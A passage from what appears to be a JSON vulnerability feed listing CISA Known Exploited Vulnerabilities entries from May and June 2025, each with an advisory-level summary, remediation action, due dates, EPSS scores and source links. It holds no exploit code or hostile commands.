unavailable.","publishedAt":"2025-06-05","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-05","dueAt":"2025-06-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07821,"percentile":0.94631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-5419&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-5419","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-5419 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-5419&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-5419, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21479","cveId":"CVE-2025-21479","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability","summary":"Multiple Qualcomm chipsets contain an incorrect authorization vulnerability. This vulnerability allows for memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands.","detail":"CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-03","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-03","dueAt":"2025-06-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00843,"percentile":0.57685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21479&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21479","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21479 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21479&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21479, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21480","cveId":"CVE-2025-21480","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability","summary":"Multiple Qualcomm chipsets contain an incorrect authorization vulnerability. This vulnerability allows for memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands.","detail":"CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-03","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-03","dueAt":"2025-06-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00462,"percentile":0.39724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21480&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21480","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21480 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21480&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21480, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-27038","cveId":"CVE-2025-27038","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Use-After-Free Vulnerability","summary":"Multiple Qualcomm chipsets contain a use-after-free vulnerability. This vulnerability allows for memory corruption while rendering graphics using Adreno GPU drivers in Chrome.","detail":"CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-03","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-03","dueAt":"2025-06-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0114,"percentile":0.66399,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-27038&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-27038","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-27038 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-27038&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-27038, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-32030","cveId":"CVE-2021-32030","aliases":[],"kind":"vulnerability","title":"ASUS Routers Improper Authentication Vulnerability","summary":"ASUS Lyra Mini and ASUS GT-AC2900 devices contain an improper authentication vulnerability that allows an attacker to gain unauthorized access to the administrative interface. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-02","updatedAt":null,"regions":["Global"],"vendor":"ASUS","product":"Routers","stacks":["ASUS","Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-02","dueAt":"2025-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99393,"percentile":0.9994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-32030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-32030","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-32030 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-32030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-32030, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-39780","cveId":"CVE-2023-39780","aliases":[],"kind":"vulnerability","title":"ASUS RT-AX55 Routers OS Command Injection Vulnerability","summary":"ASUS RT-AX55 devices contain an OS command injection vulnerability that could allow a remote, authenticated attacker to execute arbitrary commands. As represented by CVE-2023-41346.","detail":"CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-02","updatedAt":null,"regions":["Global"],"vendor":"ASUS","product":"RT-AX55 Routers","stacks":["ASUS","RT-AX55 Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-02","dueAt":"2025-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.39514,"percentile":0.98603,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-39780&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-39780","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-39780 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-39780&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-39780, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-56145","cveId":"CVE-2024-56145","aliases":[],"kind":"vulnerability","title":"Craft CMS Code Injection Vulnerability","summary":"Craft CMS contains a code injection vulnerability. Users with affected versions are vulnerable to remote code execution if their php.ini configuration has `register_argc_argv` enabled.","detail":"CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-02","updatedAt":null,"regions":["Global"],"vendor":"Craft CMS","product":"Craft CMS","stacks":["Craft CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-02","dueAt":"2025-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97405,"percentile":0.99898,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-56145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-56145","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-56145 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-56145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-56145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-35939","cveId":"CVE-2025-35939","aliases":[],"kind":"vulnerability","title":"Craft CMS External Control of Assumed-Immutable Web Parameter Vulnerability","summary":"Craft CMS contains an external control of assumed-immutable web parameter vulnerability. This vulnerability could allow an unauthenticated client to introduce arbitrary values, such as PHP code, to a known local file location on the server. This vulnerability could be chained with CVE-2024-58136 as represented by CVE-2025-32432.","detail":"CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-02","updatedAt":null,"regions":["Global"],"vendor":"Craft CMS","product":"Craft CMS","stacks":["Craft CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-02","dueAt":"2025-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01349,"percentile":0.71282,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-35939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-35939","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-35939 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-35939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-35939, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-3935","cveId":"CVE-2025-3935","aliases":[],"kind":"vulnerability","title":"ConnectWise ScreenConnect Improper Authentication Vulnerability","summary":"ConnectWise ScreenConnect contains an improper authentication vulnerability. This vulnerability could allow a ViewState code injection attack, which could allow remote code execution if machine keys are compromised.","detail":"CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-02","updatedAt":null,"regions":["Global"],"vendor":"ConnectWise","product":"ScreenConnect","stacks":["ConnectWise","ScreenConnect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-02","dueAt":"2025-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03536,"percentile":0.89188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-3935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-3935","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-3935 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-3935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-3935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-4632","cveId":"CVE-2025-4632","aliases":[],"kind":"vulnerability","title":"Samsung MagicINFO 9 Server Path Traversal Vulnerability","summary":"Samsung MagicINFO 9 Server contains a path traversal vulnerability that allows an attacker to write arbitrary file as system authority.","detail":"CISA added this entry on 2025-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-22","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"MagicINFO 9 Server","stacks":["Samsung mobile","Samsung","MagicINFO 9 Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-22","dueAt":"2025-06-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24066,"percentile":0.97831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-4632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-4632","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-4632 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-4632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-4632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-38950","cveId":"CVE-2023-38950","aliases":[],"kind":"vulnerability","title":"ZKTeco BioTime Path Traversal Vulnerability","summary":"ZKTeco BioTime contains a path traversal vulnerability in the iclock API that allows an unauthenticated attacker to read arbitrary files via supplying a crafted payload.","detail":"CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-19","updatedAt":null,"regions":["Global"],"vendor":"ZKTeco","product":"BioTime","stacks":["ZKTeco","BioTime"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-19","dueAt":"2025-06-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92468,"percentile":0.99824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-38950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-38950","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-38950 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-38950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-11182","cveId":"CVE-2024-11182","aliases":[],"kind":"vulnerability","title":"MDaemon Email Server Cross-Site Scripting (XSS) Vulnerability","summary":"MDaemon Email Server contains a cross-site scripting (XSS) vulnerability that allows a remote attacker to load arbitrary JavaScript code via an HTML e-mail message.","detail":"CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-19","updatedAt":null,"regions":["Global"],"vendor":"MDaemon","product":"Email Server","stacks":["MDaemon","Email Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-19","dueAt":"2025-06-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33259,"percentile":0.98357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-11182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-11182","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-11182 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-11182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-11182, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-27443","cveId":"CVE-2024-27443","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability","summary":"Zimbra Collaboration contains a cross-site scripting (XSS) vulnerability in the CalendarInvite feature of the Zimbra webmail classic user interface. An attacker can exploit this vulnerability via an email message containing a crafted calendar header, leading to the execution of arbitrary JavaScript code.","detail":"CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-19","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-19","dueAt":"2025-06-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24606,"percentile":0.97867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-27443&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-27443","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-27443 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-27443&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-27443, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-27920","cveId":"CVE-2025-27920","aliases":[],"kind":"vulnerability","title":"Srimax Output Messenger Directory Traversal Vulnerability","summary":"Srimax Output Messenger contains a directory traversal vulnerability that allows an attacker to access sensitive files outside the intended directory, potentially leading to configuration leakage or arbitrary file access.","detail":"CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-19","updatedAt":null,"regions":["Global"],"vendor":"Srimax","product":"Output Messenger","stacks":["Srimax","Output Messenger"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-19","dueAt":"2025-06-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01865,"percentile":0.79142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-27920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 